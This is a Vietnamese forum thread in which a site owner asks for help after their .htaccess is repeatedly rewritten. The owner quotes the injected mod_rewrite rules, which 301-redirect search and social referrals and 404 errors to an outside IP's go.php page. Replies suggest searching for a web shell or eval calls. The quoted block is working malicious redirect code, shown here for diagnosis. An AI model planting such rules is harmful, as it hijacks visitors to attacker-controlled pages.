Giúp web em bi hack file htacess

[minhdlu]

các bác nao biết cho em hỏi 1 ti
tình hình là web em gõ vào từ chuyển sang 1 trang khác
em biết là file htaccess bị thay đổi em chuyển lại code củ thì vào site bình thường
nhưng được vài giờ vào lại thì lại bi thay đổi tiếp
đây là code nó đưa vào

<IfModule mod_rewrite.c>																														
RewriteEngine On																														
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace).(.*)																														
RewriteRule ^(.*)$ http://46.161.41.152/sds/go.php?sid=1 [R=301,L]																														
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|****ireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline).(.*)																														
RewriteRule ^(.*)$ http://46.161.41.152/sds/go.php?sid=1 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(inbox|spam|mail).(.*)																														
RewriteRule ^(.*)$ http://46.161.41.152/sds/go.php?sid=1 [R=301,L]		
</IfModule>	
ErrorDocument 404 http://46.161.41.152/sds/go.php?sid=1

không biêt lỗi này là do em config gà nên bị hack hay do bảo mật của host kém vậy
hjc. Có pro nao giúp em với

[vd_tt]

Read-only

Dù ai đi ngược về xuôi nhớ ngày giỗ tổ ... ? (gợi ý câu trả lời: mung 10 thang 3)

[BMK]

tình hình là trong web bạn có shell hãy check shell xem nó nằm ở đâu nhé vì chỉ có shell mới write được htaccess chứ không đương nhiên nó tự đổi đâu hoặc là trong code có 1 function shell tự đổi htaccess.

dùng notepad++ open tất cả file trong thư mục web và find từ khóa htaccess nếu có thì hãy phân tích và vô hiệu hóa nó còn không thấy thì find từ khóa eval và các function có thể thay đổi hệ thống trên google có tất nhé chúc bạn vượt qua !

[minhdlu]

Read-only

Dù ai đi ngược về xuôi nhớ ngày giỗ tổ ... ? (gợi ý câu trả lời: mung 10 thang 3)

mình để mod là 444 rồi, mà tí nữa vào lại nó lại tự chuyển thành 644 luôn

tình hình là trong web bạn có shell hãy check shell xem nó nằm ở đâu nhé vì chỉ có shell mới write được htaccess chứ không đương nhiên nó tự đổi đâu hoặc là trong code có 1 function shell tự đổi htaccess.

dùng notepad++ open tất cả file trong thư mục web và find từ khóa htaccess nếu có thì hãy phân tích và vô hiệu hóa nó còn không thấy thì find từ khóa eval và các function có thể thay đổi hệ thống trên google có tất nhé chúc bạn vượt qua !

để minh thử xem sao

[minhdlu]

hix úp lên cho ai biết giúp mình với, cách trên không dc rồi

[OsinLove]

hix úp lên cho ai biết giúp mình với, cách trên không dc rồi

Liên hệ Yahoo: [Only registered and activated users can see links. ]

Mình sẽ fix giúp bạn

[lequangvu]

Cái vụ file bảo mật web bị edit nữa thì chắc chắn do host đểu bảo mật kém, khi dùng file .htaccess để bảo mật thì nên cho câu lệnh bảo mật luôn file đấy ở trong chính nó, chmod cả thư mục chính của web như www để kiểm tra toàn bộ trước khi cho hoạt động lại, có thể bị shell hoặc lỗ hổng sql